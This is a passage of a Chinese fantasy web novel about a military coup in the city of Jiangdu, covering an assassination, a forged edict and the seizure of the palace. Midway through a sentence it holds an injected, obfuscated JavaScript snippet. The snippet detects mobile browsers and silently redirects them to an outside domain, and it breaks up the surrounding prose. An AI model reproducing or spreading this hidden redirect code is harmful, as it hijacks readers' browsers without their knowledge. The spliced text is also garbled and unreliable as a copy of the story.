然而,谁能想到,三句话……三句话就让数万东都禁军交出了性命呢? 那么接下来该干什么? 解散? 等天黑?! 是不是有点仓促? 这不像是干大事的样子啊? 在场三位叛乱集团的核心骨干各自都有些迷茫。 “能成吗?” 就在这时候,风声与振奋的喧哗声中,赵行密忽然听到一个很微弱的声音,很明显,不管群情如何激愤,还是有人本能对这件事感到畏惧的。 而得此声音,赵行密忽然意识到该做个什么了,其人毫不犹豫,扬声来喊上面的两人:“司马虎贲!此事吉凶如何?真火观在后面,要不要祭祀一下赤帝娘娘,询问一下吉凶?” 上面两人只是紧张,又不是傻子,一下子醒悟过来,当然知道这时候怎么打发这阵前时间,司马德克立即赞同了这个建议,同时司马进达也赶紧让心腹提前入观,招呼那些女观做“准备”。 而很快,就有早就被吓懵的女观出来,告知了仪式方略——很简单,简单到异常,取纸笔写上要问的事情,诚心上香供奉,然后将问纸投入观中真火大盆中,看火势大小形状,便可知晓。 一会,又有司马进达心腹出来,小心汇报,说是准备好了硫磺、木炭之物,就等着投入问纸时一并投进火盆。 台上两司马心中大定,便装模作样,当众书写起了问吉凶之事,果然吸引了大家注意力,也给了所有人打发时间的去处。 好不容易写完,又当众展示了一圈,最后下午过半了,实在是拖不得了,便也下令让大门打开,然后还选了赵行密赵将军这位公认的军中既有资历又有修为还有德行的人为首,领着几位代表入了真火观大门亲眼来看真假。 “我投了啊?”司马德克瞅了瞅周围,看着司马进达来问。 后者立即点头,让他放心来做。 这位虎贲将军也觉得这一日风中折腾的够呛……不是人累,真不累,是心累,毕竟是**!哪怕顺顺利利,神经也时刻紧绷! 故此,现在他反而有了一点释然,只想着把此事做了,然后回去休息,等晚上动兵戈便是。 动起兵戈,顺势而为,见招拆招,反而不累了。…. 一边想着,这位虎贲将军一边将手中被木夹夹住的问纸投入眼前那足有半丈方圆但真火却只是一小团随风摇曳的真火盆中。而问书刚一入火,下一刻,观内众人,观外的军吏,或是惊呼,或是目瞪口呆……无他,观内观外看的清楚,真火瞬间而起,居然直冲云霄,且隐隐有离火真气在其中鼓动如浪,仿佛不是从火盆中起来,竟似从天上落下一般。 其实,非只是这城南真火观周边,便是城内,随着这条火起,也有三个人齐齐一怔。 其中一位,乃是城内修为最高的牛督公,他正走在宫城内的道路上,忽然停下,怔怔望向了城南,停了片刻,却是继续低头往东北面仓城而去; 另一位,正是大魏皇帝,号称陆上至尊的曹彻,其人正在殿中饮酒,只觉得心口莫名一悸,似乎察觉到什么,又觉得一片混沌,继而一股酒气上涌,反而倦意明显,居然昏沉在座中睡了过去,引得皇后停了歌舞,又遣人来铺盖锦被以避乱风; 最后一位,却是大魏齐王,这位正值盛年的皇家贵胄并没有饮酒,而是躺卧在堂上看院中乱风,但他的反应也是最小的,因为自从当日强行使用惊龙剑唤醒真龙后便在修为上一蹶不振,只是微微有些心理上的触动罢了。不过,正是这位感触最浅的齐王做了唯一的反应。 “利儿。”迟疑片刻,齐王轻声唤来一人,正是他的长子赵王曹利。“晚饭的时候你去一趟宫中,见一见你皇祖父。” 曹利匆匆从侧房内跑出,只是一拱手:“父王安心。” 然后便又跑了回去。 无他,曹利早就适应了这种角色……去迎奉祖父,同时查看祖父有没有对付父亲的安排……数年前开始,齐王跟皇帝之间忽然便再没有半点亲情可言,反而相互提防日益严重,原因不言自明,齐王是唯一一个真切威胁到皇帝皇位的人,偏偏之前一段时间内,只有齐王一个人是大魏成年的皇子,而且修为深厚、英气逼人,再加上曹皇叔在侧,使得皇帝又不可能真宰了这个亲儿子。 这一点,从齐王的长子刚刚脱了稚气,便立即被封为与父亲同等级亲王这件古怪的事情上,更加显得明了。 曹彻就是这种人,不管你合适不合适,只要你威胁到了他,一万个好处都是坏处;而你威胁不到,只要逢迎的花,一万个坏处都是好处。 转回城南真火观,司马进达等人也在发虚,因为他们看的更清楚,这绝不可能是硫磺木炭能搞出来的动静,这是真有“人”给了明示。 而且别看司马进达昨天晚上如何宣扬这是赤帝娘娘指引……指引个屁! 他昨夜起了那个劲头,一则是风起来了,大风可以遮蔽行动;二则是看到了四百金买来的虞常基的字……虞常基或许是感慨他本人在这个位置上整日被逼迫,而七将军看到的却是一种持续煎熬带来的不耐,虞常基受不了,他也受不了了,所以干脆直接就干!…. 但现在,随着火光冲天,别人不晓得,司马进达几人反而彻底无话了。 沉闷中,赵行密忽然转身,第一个往外走去,然后对着外面也惊住的数百军吏高声宣告: “诸位,三月初十,天下大吉!咱们晚上见!” 说完,自己第一个带头离开,回去整军了。 就这样,到了傍晚,天还没黑,城西便开始有军队聚拢,那些军官回去以后,几乎每个人都带来了自己的部队,几百个军吏就代表着数万大军……实际上也的确如此,整个傍晚前后,果真有数万大军汇集而来。 可以想见,至少半数以上的禁军都决心参与进来。 而在真火观枯坐了半个下午的司马德克也再无多余心思,他从傍晚开始,就尝试整理部队,准备做事。 只不过,司马德克这般认真,却没有意识到,天黑之后,数万部队**在一起,很快就产生了一个反叛集团成立以来最大的破绽! 另一边,曹彻从睡梦中醒来,早已经忘掉下午的事情,又因为今日大风,没法准备烛光大道,便也没有计较,只是换了衣服,短衣幅巾拄杖而出,只在灯笼的指引下去寻今晚要宿的妃嫔住处。 不过,当他走出殿来,却第一时间在呼啸的风中察觉到了异样。 “城西是怎么回事?”走了几步后,曹彻便突然停下,然后指着城西映照的火光来问。“如何有火光,好像还有些喧哗?” 旁边等了一整日的张虔达如何不晓得是怎么回事? 放在第一日来当这直阁的时候,怕是要直接露馅,但这一次,可能是有了经验,张虔达却能维持住表面镇定,其人闻言,立即上前下拜拱手:“回禀圣人,城西草料场失火,风太大了,大家都在救火,却还是止不住……这种事情,也不敢惊扰陛下休憩。” 曹彻看了看周围乱风,摇了摇头,果然扔下此事不管,继续拄杖去见妃嫔了。 张虔达跟在后面,目送对方入了今日妃嫔的住处,这才松了一口气。 而几乎是与此同时,宫门外,年轻的赵王曹利也注意到了城西的火光与动静……他犹豫了一下,朝元礼正拱手:“若是皇爷爷说今日不愿打扰,小王就先回去了。” 元礼正眯着眼睛看了看对方,想了想,点点头:“赵王殿下路上小心。” 曹利点点头,回身上了马,便掉头离开了宫城。 但刚刚走过两条街,来到十字路口,因为宫城偏西的缘故,这位明显对局势疑惑的年轻皇孙亲眼目睹了让他惊惶至极的一幕——天色已晚,理论上各个城门应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167958|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落门才对,但今日完全相反,封闭了一整日的大门此时反而被打开,然后数不清的甲士自西面城门涌入。 这完全违背常理的局面使得曹利惊惶之余完全懵住。 但是不要紧,有以身做则来当榜样……大街上,因为刚刚天黑,恰好有一大队值夜的金吾卫不明所以走上街去巡逻……这些因为城门封锁和执勤日期而没有被纳入反叛集团的士卒瞬间被围住,并在叛军分路指挥官司马进达的指挥下轻松解除了武装。…. 随即,这第一批入城的叛军开始沿途控制街道。 得益于这一大队金吾卫的牺牲,曹利很快恢复了清醒,他知道这个时候再往父亲那里跑根本无用,唯一的要害是祖父,便又不顾一切,借着街上的人马嘈杂,纵马折回了宫城。 然后再度呼喊元礼正。 元礼正守在宫城南面威凤朱门,见对方去而复返,心中反而没有负担,便居高临下,从容询问:“赵王殿下何故折回?” “我刚刚纵马,被风一吹,居然中风了……我年纪轻轻就要**!”曹利也有些急智,却不说他看见有乱兵明显要**,反而带着哭腔临时编了个理由。“求求元将军,去告诉皇祖父,让我见他最后一面!” 元礼正点点头,匆匆下了城门楼,走不多远,却见到张虔达主动往自己这边来。 两人见面,稍一言语,张虔达便下了结论:“必是外面发动被他察觉,所以想来报信……不能让他见皇帝,也不能让他走去惊动其他人,拿下他!” 二人计议清楚,便立即行动。 乃是元礼正装模作样去开门,张虔达引十余心腹在拐角处埋伏。 可怜赵王如何晓得宫城里面居然是最早被叛军控制的,其人匆匆进入,却刚一拐弯便撞到了张虔达……到了这个时候,赵王依然不晓得身前人身份,反而本能拱手问候这位皇祖父面前的新贵。 孰料,回应他的,乃是带着鹿皮手套的狠狠一巴掌。 只是一巴掌,赵王就被扇的后仰,却又被身后跟着的元礼正直接抱住,其余士卒此时一拥而上,就将其实是一位奇经高手的赵王给捆缚妥当,还勒住了嘴。 “放到马厩,不要声张,我现在去见司马虎贲,等到三更,万事大吉。”张虔达即刻来言。 赵王此时方晓得原委,却只觉得头晕目眩。 而张虔达既走,元礼正目送对方离开宫城,回头来看被控制住的赵王,居然在原地沉默了数息,方才摆手:“放到马厩。” 赵王被拖往马厩,路上还有些想法,还在思索叛乱者都是谁,还在想着有没有可能撞到一些人获救……可当他真被扔进空荡荡的马厩,看到马厩里那几具内侍尸首后,闻着马厩里冰冷的骚气与血腥气,脑中不由完全空白,继而恐惧到泪水涟涟之地步。 偏偏嘴被勒住,连哭泣声音都放不出来。 另一边,张虔达匆匆离开宫城,就在十字路口遇到了刚刚掌控了核心街道的司马进达。 两个人交马,司马进达便做催促:“万事顺利,司马虎贲在城西点兵,你速速去接一支部队来。” 张虔达点头,复又来问:“七将军哪里去?做大事时来吗?” “三更后我必然从正面威凤朱门过去,不过现在,我要去杀一人!”司马进达明白告诉对方。“虞常基是南衙的独头相公,又是江东人,而且智略超群,若不速除,必生后患!”…. 张虔达胡乱点头,脑中全被“做大事”给遮住,匆匆往城西而去。 而司马进达则匆匆离开,径直率千余精锐直奔虞常基住处。 这一次,不需要通报姓名,根本无法与东都相提并论的虞常基府邸也没有任何抵抗能力,叛军轻松控制了全府,然后将虞常基绑了过来。 “虞相公。”司马进达坐在院中,身边火把随风缭乱,映照的他脸色也阴晴不定。“可恨狂风空自恶。晓来一阵,晚来一阵,难道都吹落?你既这般煎熬,今日我且送你安稳,不再为狂风所迫……如何?” “甚好。”虞常基看着对方,没有半点惊讶和不解,只是点头。“甚好。” 司马进达便要摆手下令。 这时候,虞常基府上并不多的家人立即哭做一团,而人群中,更是有一人伏在地上,背上被反捆的叩首前行,并带着哭腔呼喊司马进达:“七将军,我兄长虽是相公,也只是个文修,放他回钱塘江老家,不碍你们回东都的!” 话说到一半,就已经被甲士拖拽回队列,却还是叩首哭求。 司马进达瞥了地上那人一眼,平静来答:“虞大夫……你兄长是相公,我杀的不是虞常基,是虞相公!” “若七将军觉得须杀相公来立威,何妨杀了我代替我兄长?!”地上那人,也就是虞常基的弟弟谏议大夫虞常南了。“我们兄弟长得像,杀了我,装作我兄长,也是无妨的!我兄长智略超群,可以做你们司马氏的智囊!” 听到这里,司马进达终于微微动容,而一直面无表情也无言语的虞常基也扭头看向了自己的弟弟。 片刻后,虞常基先行开口:“司马将军,我弟弟才略不下于我,而且素无根基,这种人你们用了才妥当,而我在朝十余年,用人使权,贪财乐享,非但名声不好,而且颇有些威望,留下来非但得罪怨恨我的禁军,而且还要防着我反戈一击……反过来,杀了我,却是对虞氏一命了百账,于我家族也是有益的……这一点,我弟弟也一清二楚。” 司马进达便要说话。 虞常基却又继续来言:“而且还有最重要一条,圣人性命,你们肯定要细细思量……万一不想杀皇帝的人颇多,想杀皇帝的也多,你们到时候夹在中间也难控制局面,而杀了我,便可以将禁军不能北归的事情归在我身上,到时候处理起皇帝就从容的多……也算是我为圣人尽忠了。” 听到第一句话,虞常南便已经泣不成声,听到最后,晓得根本无法来救自家兄长,却干脆是哀嚎嘶叫起来,配着晚间怪风呼啸,几乎不似人声。 以他的聪明如何不晓得,自家兄长这十几年揽功过于身,肆无忌惮,一则是要报圣人,二则是要保全自己呢? 不然呢?二虞北上,无根无基,真要像他这般爱惜羽毛,不去迎奉皇帝,又该怎么立足?…. 司马进达见此,加上自家兄弟子侄间的关系经历,竟然也懂得对方,终于和善了几分:“既如此,请虞相公自去,令弟虞大夫这里我带他去我兄长身侧存身。” 虞常基连连颔首:“就在这里动手吧,不要浪费时间……诚如你所言,恶风不停,我已经忍受够了。” 司马进达点点头,亲自起身,却从腰中取出一把鲸骨金锥来,走到对方跟前,只一锥便刺入对方太阳穴,没入半尺,复又搅了一搅,就放倒在地。 随即,其人也不耽误,便带着哭嚎不成形的虞常南往见自家兄长。 另一边,张虔达见了司马德克,说了今日遇到的两场意外,本意是自鸣得意,说自家如何轻易化解……但司马德克与赵行密闻言,则各自凛然。 “必须提前动手了。”赵行密迅速给出意见。“风声遮蔽了动静是好处,但火光这么明显,城内、宫内都能看见是我们的失误,警觉了一个赵王,迟早会让其他人警觉,尤其是牛督公那里还是个空法子……必须提前所有,现在就控制大内,然后劝降牛督公。” “正是此意。”司马德克转过身来,就在火把下给张虔达下令。“大部队还没有整备好,给你两千人,你从正门回宫中,将大内不属于我们的宿卫全给替换掉……记住去找张太医和元礼正,让他们速速发动,按照计划对牛督公威逼利诱。” 张虔达愣了一愣,立即领命而去。 “赵将军,现在就把精锐修行者给你,你马上去玄武黑门……如果牛督公动手,你们就动手,拼个你死我活;你战力充足,若是牛督公不动手,等我大部队到,堵住各门,搜检全宫。”司马德克继续下令。 赵行密也赶紧率众而去。 一人走,司马德克立即加速点兵,却依旧从容。 实际上,这位虎贲将军到了眼下反而心知肚明,这就是军事行动的典型特征,临到跟前什么计划都要赶鸭子上架,而且已经赶了,反而没什么可计较的。 自己半个时辰后,最后带兵进入宫中收尾,临阵处置局势便是。 司马德克点兵匆忙,赵行密提前进入最方便直入大内寝宫玄武黑门外埋伏,张虔达被迫临时更换宫城宿卫,全局被迫提速……一时间,居然忘了通知去控制城中宫外地界的司马进达,也不知道是不是粗心大意。 “老七你太大胆了,这是要命的勾当。”将虞常南送出去安置后,满身酒气的司马化达扶着额头,明显焦躁。 “兄长,木已成舟,虞常基都杀了!”屋中只有两人,司马进达自然努力来劝。“军士们全都想着回东都,比我想的要容易多,咱们须立即动起来,不然司马德克会控制局面的!” “你要害死我……”司马化达放下手,面色焦急。“我问你,牛督公你们安排了吗?” “安排了。” “那陛下本人呢?” “自然重中之重……” “他要靠着修为跑怎么办?” “他……应该也不惧,毕竟能对付牛督公的高手阵列,应该也能压着圣人……兄长,大家都想回去,这次**的人里面,光成丹就有七位,便是来战儿还在也不怕!” “那齐王杀了吗?”司马化达冷不丁继续来问。 司马进达微微一愣。 “齐王杀了吗?”司马化达眯着眼睛,吹着酒气,催了一句。“他不死,你能心安?去虞常基府上写文书,找个舍人假传圣旨,说是陛下知道齐王要谋反,要处置他,要他**!” 司马进达依然还是愣了一下,但这一下后却是忽然醒悟,拔腿就走。 老七走后,司马化达扶着额头支在几案之后,几案上与旁边的烛台上,烛火摇曳不停,而门外的风声几乎与昨夜无二……司马化达听着风声,看着烛影,喘着酒气,不由呼吸渐渐粗重起来。 (本章完) 39314604. ... 第五章风雨行(5) 天黑以后,双月之下,南风之中,江都城内的局势开始失控。 这种失控,并非是说军事政变出现反复乃至于失败,事实上,到目前为止事情顺利的过分,只不过,军事政变这种东西本身就不可控……说好的是三更之后动手,正好天明把局势控制住,但部队一集结就被人注意到了,于是所有人不得不提前就位发动;而且政变的参与方并非是单纯一心,大家虽然结成一个团体,但司马德克等人既需要司马氏的名望又不想司马氏主导一切,既想尽量扩大叛变集团,又不想特定的人参与进来。 而最重要的一点是,军事政变天然是清算与扫荡、投机与**的舞台。 在这个过程中,没有一个掌握暴力加主动权的人会循规蹈矩,也没有任何一个被逼到墙角的人不做挣扎……哪怕只是象征性的挣扎、徒劳的挣扎。 转回眼前,张虔达率领两千司马德克挑选出来的可靠精锐甲士,其中包括一位成丹高手、中郎将令狐行,然后大队人马自正门进入,汇合了元礼正,后者听完前者介绍情势,晓得躲无可躲,却是咬牙即刻去寻牛督公了,而张虔达也和令狐行在匆匆派人去寻太医正张康后,也一起开始按照计划,用自己带来的兵马更换宫城内各处宿卫。 宿卫,指的是晚间留守在宫内的守卫,理论上由一位正经的大将军轮值带领,碍于敏感性,叛乱集团不敢轻易接触,他们也因为被隔绝在宫城内而根本没有机会加入叛乱集团……一般而言,因为夜间执勤的特点,这些人会在特定的几个偏殿内集中留守,少部分在外面巡逻或者站岗。 故此,张虔达只换了三个廊下偏房区区几十人,便迅速来到了第一处集中了宿卫兵马的所在——成象殿。 “什么人?有贼** 大队兵马来到成象殿外,里面执勤的宿卫中早有修行者耳聪目明,只在里面便透过风声察觉到了外面动静,当场大喊,并迅速引发里面数百宿卫的警觉。 张虔达本就紧张,在外面闻得这一声喊,心下一慌,居然当场勒马,狼狈掉头逃窜……乃是身体力行的展示了什么叫做字面意义上的做贼心虚。 追随他的叛乱甲士为之一愣,只能莫名其妙随对方出来,而回到院墙外面的廊下通道中,被临时指派来的令狐行忍不住拉住张虔达的战马,当场询问:“张将军,为什么退出来?” 张虔达怔了一下,立即醒悟……不错,自己为什么退出来?! 对方作为宿卫,察觉到一大堆甲士还有人干脆骑着马大晚上的来到宫内,喊一声不是正常的吗? 至于说做贼……自己是要**,是要“做大事”好不好?还做贼?做贼算个屁啊! 想明白了以后,张虔达不由面红耳赤,所幸天黑风大,大部分人看不到,便一声不吭,又赶紧勒马掉头回去,然后重新来到了成象殿外,并迅速下令:“关掉所有殿门,只留西面侧门的一扇门,让他们从这个门里挨个出来!出来便是自家人!”…. 叛乱甲士们人多势众,立即依言围住成象殿,同时鼓噪呼喊:“出来!都出来** “出来一起回东都** “全军都要回东都,晚了就走不了了** “江都这里五位大将军一起做了决议,大家一起回东都。”而与张虔达的慌乱不同,跟来的那位中郎将更是驰马到了殿门跟前,激烈催促。“现在速速出来,一切好说!晚了不要逼自家兄弟动手** 一时间,天上风声呼啸,殿中殿外则一片喧哗混乱。 这个时候,殿中一名老者匆匆自殿中一处单独房室内走出来,听了听周围动静,却是迅速意识到发生了什么,然后赶紧阻止:“什么五位大将军一起做决议?我白横俊不是就在这里吗?这些人来历古怪,不要信他们,也不要乱动** 很显然,这位白姓老将军颇有威望,殿中宿卫稍有迟疑。 而殿外张虔达闻得是白横俊当值,而且居然亲自宿卫在殿内,赶紧呼喊:“今夜当值的是白老将军吗?何时入得宫……不过今夜不关你的事,速速出宫去吧!你堂弟白横秋占晋地入关西,你弟白横元占荆襄也入关西,还有个白横津在东都,你这个姓氏哪里去不得,如何要掺和我们的事情?” 殿中白横俊愣了一下,反而大怒,就在殿中隔空喝骂:“张虔达,你这是要反了吗?我受皇恩,连你说的这几个白氏逆贼都势不两立,怎么能跟你们同流合污?** 说着,便呼喊周围宿卫武装起来反击。 可是,白横俊发怒要求反击,这些宿卫反而不再迟疑,乃是纷纷鱼贯而出。 对此,白横俊惊怒交加之余,反而有所觉悟,反手拽过一个亲卫,低声交代:“我儿刚刚去了内院,你混在人中出去,寻我儿去调集宿卫去营救陛下** 那亲卫应了一声,学着其他宿卫一样,低头而去。 殿外,令狐行思索片刻,忽然凑到张虔达身侧:“张将军,准备动手。” “怎么说?”张虔达心下一惊,不由压低声音。“这可是白氏出身的一卫大将军** “白氏出身不错,一卫大将军也不错,却是个假的白氏……不然,为什么这种局势还跟我们一起烂在江都?”令狐行冷笑一声。“他根本就不容于白氏,又没有自己的根基,现在突然陷到这个境地,怕是只能靠着做圣人忠臣来求名了。” 张虔达若有所思,将信将疑。 道理他是懂的……其实,人尽皆知,白横俊这一支,并非是白氏的种,而是渤海高氏的种……当年大周东西**,司马大行台占据关陇,神武帝建立东齐,两家相争数十年,白横俊他爹就是战场上被白家那位奠定了关陇军事优势的老爷子给俘虏的,认了义子。 从这个角度来说,白横俊似乎还真就是被白氏抛弃的弃子。而一个根本无处可去的弃子,在眼下局势中选择做个忠臣搏名,似乎也属寻常。…. 只不过,一个弃子,还能做到一卫大将军,还能让人可望不可及,却是让张虔达有些懵。 倒是一旁令狐行,同样出身晋地世族,但可能是王怀度、王怀通、王怀绩三兄弟的外甥,读书多了些,似乎见识也多了些。 就在叛军开始公然鼓噪,解除宿卫武装的时候,另一边,司马进达也带着写好的圣旨来到了齐王住处,并由中书舍人封常当面宣读了诏书: “太子之位,实为国本,苟非其人,不可虚立。自古储副,或有不才,长恶不悛,仍令守器,皆由情溺宠爱,失于至理,致使宗社倾亡,苍生涂地。由此言之,天下安危,系乎上嗣,大业传世,岂不重哉?! 自前太子薨逝,齐王曹铭,地则居长,情所锺爱,然性识庸暗,仁孝无闻,昵近小人,委任奸佞,前后愆衅,难以具纪。朕恭天命,仰至尊纲纪,属当安育,虽欲爱子,实畏上灵,岂敢以不肖之子,而乱天下? 故久不立也,期以皇孙贤明,可托魏之国祚。 然铭冥顽不灵,素视太子之位为己属,肆无忌惮,渐起不忠不孝之心,养凶淫悖伦之士,乃至于一朝发作,欲置亲父亲君于死地,岂能不除? 唯此事只罪铭一人,其男女为王、公主者,并可优存,仍托骨肉。 顾惟兆庶,事不获已,兴言及此,良深愧叹** 夜风中,满是甲士的院内,中书舍人封常战战兢兢念完了这封他自己刚刚写完的、实际上一封废太子的旨意,然后却不敢看身前下拜的齐王,而是扭头看向了带他来的司马进达。 司马进达叹了一声气,扶剑向前,却又主动对呆呆跪坐在那里的齐王单膝下拜,然后拔出剑来,拄着剑做解释:“齐王殿下,我其实大约晓得,现在攻击宫城作乱的那些人只是打着你的旗号,想自家回东都罢了,未必跟你有关……但是既然旗号已经打出来了,而且你还派了赵王去窥探,赵王还被圣人扣住了,却也不能怪圣人震怒,认定了你要作乱,然后下决心要处置你……而且,这还不是最关键的,关键是,咱们谁不知道,圣人想杀你许久了?** 齐王怔怔抬起头来,居然无法驳斥。 这才是他心里过不去的那个坎,他知道自己这次是被冤枉了,但圣人……他的亲爹,早就想让他**! 这一点,整个东都都知道。 隔了片刻,就在司马进达有些不安到蠢蠢欲动的时候,齐王抬起头来问道:“只杀我一人对不对?” “自然如此。”司马进达赶紧点头,能不动粗,他还是不愿意动。 “不对。”曹铭想了一想,缓缓摇头。“司马七郎,若只杀我一人儿女保全,我就认了,但我**,我的儿女果然能保全吗?” “当然如此,圣旨明言了,儿女并可优存,仍托骨肉……”司马进达赶紧重申了一遍。…. “还是不对。”曹铭缓缓站起身来,赤手空拳,却居高临下盯住了拄剑的对方。“司马七郎,这件事情是这样的……若是事后父皇认定此事是我图谋不轨,那我儿阿利被蒙上窥伺宫城的罪过,将来怕是也免不了一死……反正他不止一个孙子;而若是此事后父皇醒悟过来,晓得我是被人利用了,不由后悔,必然会迁怒你们今天这些做事的人,到时候我已经没了,反而是你们这些人会拼尽全力,撺掇父皇杀尽我儿女,以绝后患,是也不是?!你别告诉我,我父皇与你大兄干不出这种事** 司马进达愣在当场,竟也无法反驳。 而思索片刻,他也马上意识到问题出在哪里——赵王,为什么赵王今晚上忽然会去宫城? 如果赵王没去,自己这一招,说不得直接就把对方给弄**,便是对方有这些话,他也可以当场做大方,允许对方将子女给放出去……然后再逼齐王**……但现在,赵王……为什么啊? “齐王殿下。”司马进达没有起身,反而就在地上抬起头来,面露不解。“我还是不懂,你为何要让赵王晚间时候一个人去宫城,以至于弄成现在这个样子……” 齐王摔了下双袖,也有些沮丧无奈:“我能怎么办?我到底是曾摸到宗师门槛的人,对今日军变是有些气机感触的,但偏偏丹田坏了,一闪而过都算不上,也不知道是哪里会出问题,只看形势猜着可能是军变……才让老大走了一遭,却害了他。” 跪在那里的司马进达心里发虚,旁边的封常两股战战,而齐王本人也失魂落魄。 三个人全都在这个大风之夜被逼到了墙角,而且局势一触即破。 不过,三个人中间,司马进达却晓得自己尚拥有一点信息差,而且也晓得到了最关键时刻,却是强打精神站起身来,语出惊人:“齐王殿下……要不你走吧?” 齐王怔怔回头:“去哪里?” “甭管去哪里。”司马进达将剑插在地上,摊手无奈,言辞恳切。“殿下,现在的局面是,禁军虽然鼓噪起来,却只是想回东都,再加上圣人那里还有一位牛督公与不少忠心的人,你肯定没有胜算……没有胜算,圣人要你死,你不愿意死,那除了走,怎么办?要跟我们这些奉旨行事的人动手吗?一旦动手,你坐实了是此次兵变的主谋,反而要连累赵王。而且动手了,你又能如何?不还是或走或死吗?齐王,局势这么混沌,我们也不想动手。不动手,只能你走,带着剩下的子女走吧!也是我求求你了!你走了,我们找机会再放走赵王不行吗?” 齐**显动摇,却又缓缓摇头。 司马进达急的不得了,当即将长剑**指向对方:“殿下,不要逼迫我们** 曹铭反而摆手:“司马七郎,看在往日情分,给我半个时辰好不好?”…. 司马进达分外不解:“半个时辰有什么用?殿下这么拖下去,难道指望赵王自己趁乱逃回来吗?” “不是,我是要观成败。”曹铭深望着宫城方向深呼吸了一口气。 司马进达目瞪口呆。 而封常终于颤颤巍巍说出了一句话:“居然真是殿下吗?” “你们真的误会了。”曹铭无奈至极。“我无论如何都不会做这种事的,因为我知道,大魏已经名存实亡,只剩一口气,这个时候,只要起了乱子,便可能会直接倾覆……就像现在,禁军喊着要回东都是不错,父皇还有余力派人来杀我,可一旦闹起来又拖延下去,整个禁军都卷进来,父皇只能屈从了,到时候以他做的孽,必死无疑……我在这里等一等,就是想看他还有没有当日宗师乃至于大宗师的修为和魄力,能不能马上联合牛督公一起把乱子压下去?而若是半个时辰他都鼓不起勇气来作战,牛督公一人是拦不住大局的,他也必死无疑,大魏也真亡了,到时候我走便是。” 司马进达和封常面面相觑,都有些慌乱。 但二人慌的俨然不是一回事。 “封舍人,你去寻我长兄,跟他说实话,我这里是真不知道该怎么办了,请他指教。”司马进达想了一想,忽然开口,却是打发了有可能泄露特定情报的封常。 曹铭看了眼封常,后者也看了眼曹铭。 但这位中书舍人犹豫了一下,终究还是没有开口说什么,而是依照吩咐,逃也似的跑了。 人一走,司马进达稍微松了口气,却也鼓不起勇气跟曹铭拼命动武,反而只能立在那里,陪着对方心惊胆战来看宫城夜乱。 到了此时,宫城已经彻底乱了起来。 一则,是叛军大规模入内控制局面,二则,是发生了明显的交战与对抗。 具体来说就是,白横俊只带着十几人在殿中负隅顽抗,而张虔达无奈之下,尤其是知道白横俊儿子白有宾居然已经汇集了一支兵马去后宫时,更是无法再拖延,立即亲自上阵,参与扑杀白横浚 战斗本身没有什么意外,白横俊虽然是位成丹高手,但年纪却很大了,而且被困在了殿中,成丹高手最大的机动优势被遮蔽,而叛军既不缺质量也不缺数量,数十名甲士在两位凝丹高手的带领下结阵反复扑杀,不过数个来回,白横俊便已经气喘吁吁,真气与力量全都不足,继而落入下风。 不过,即便是占据上风也无妨,因为这个时候赵行密察觉到了里面的混乱,不敢再等,乃是即刻率领禁军精锐,包括他在内至少七位成丹高手,十几位凝丹,数十名奇经自玄武黑门突入。 结果,迎面撞到了慌慌张张的太医正张康。 “出事了**张康手脚冰凉。“赵将军!原本该留在玄武黑门和后宫的那些内侍早一步被牛督公唤走了!许多宫人乱后也得了言语往仓城去了,他必然已经发觉!这还不算,刚刚有大将军白横俊的儿子白有宾带着一队兵马涌入了后宫!白横俊现在则被张将军堵在成象殿**…. “张虔达是个废物**闻得局势不妙,赵行密此时反而不惧,只是喝骂了一声,便行催促。“不要慌,带我去后宫** 张康立即掉头带路。 从玄武黑门突入的本意就在于此,不过片刻,一行人便到后宫,却惊讶发现,白有宾居然被挡在了后宫一处小宫门那里。 而白有宾回头来看,因为天黑风高,并未发觉是赵行密等一众禁军高手,只以为是一小股乱军,不急反喜,立即拍打此处小宫门,然后高声叫嚷:“陛下!我们现在兵马齐备,乱军反而混乱,只要你出来,乱军肯定会逃亡失措的!陛下** 赵行密带着禁军中的一支绝对武力,信心满满,不然也不至于刚刚进宫时昂然自若了。但此时闻得此言,居然跟身边那些将官高手一般无二,乃是齐齐一惊,当场停在了阴影中! 与此同时,宫城东北面的仓城内,元礼正看了看外面的动静,忍不住朝身前搓麻绳的牛督公来发问:“督公,你到底意欲何为?” “我一个内侍,能有什么欲?”牛督公平静来答。“不过外面风大,带着儿郎们还有宫人们在仓城这里躲躲罢了。” “可现在外面已经乱起来了。”元礼正咬牙来对。“你堂堂宗师,若不表明态度,两边都会防着你的。” “我没有态度,也不需要表明什么态度,只是需要陛下旨意罢了。”牛督公继续搓着麻绳来答。 “陛下这种局势如何传旨到这里?”元礼正眯着眼睛来看对方。“督公,你何必这般作态,但凡给我一个准话,我也好放心。” “旨意不需要写也不需要传,禁军想回东都,若陛下同意便同意,若不同意,或者觉得禁军在**,他便该亲自腾跃起来,披坚执锐来平叛,我在这里一望便知……到时候自然会去协助陛下作战。”牛督公平静来答。“反倒是这些儿郎,如何是禁军对手,宫人们也要忧心**戮抢夺,所以只在这里等着便是。” 元礼正懵了一下,复又低声来问:“敢问督公,陛下是什么修为?” “之前一度想靠立塔来成大宗师,现在不好说。”牛督公有一说一。“因为皇帝的修为跟大魏朝廷兴衰有关,不然何至于哪个皇帝都想一统四海呢?而且也不能强身健体,还一般受限于都城,所以做皇帝的晚年都会有些急不可耐之态……但不管如何,真到了最紧要的时候,总能腾跃起来吧?” 元礼正听到这里,想了一想,反而大笑:“若是这般,我看未必!他都把这国家糟蹋成什么样了,大魏都要亡了,若是国家成败拴着他的修为,我就不信他还能跳的起来?** 说到这里,元礼正干脆朝着牛督公正色一礼:“多谢督公解惑,我这就去催促他们处置昏君** 这次轮到牛督公愕然了。而这位几乎算是反叛集团中最三心二意之人说完话,也不再理会牛督公,而是径直扶刀出了这暗室。…. 这还不算,来到外面,还能听到其人对着仓城内满满腾腾躲避着的那群内侍和宫人们来问:“牛督公问你们,你们想回东都吗?” 原本喏喏的內侍和宫人们嘈杂了一下,却是纷纷来应:“愿意!可是真要回去吗?” 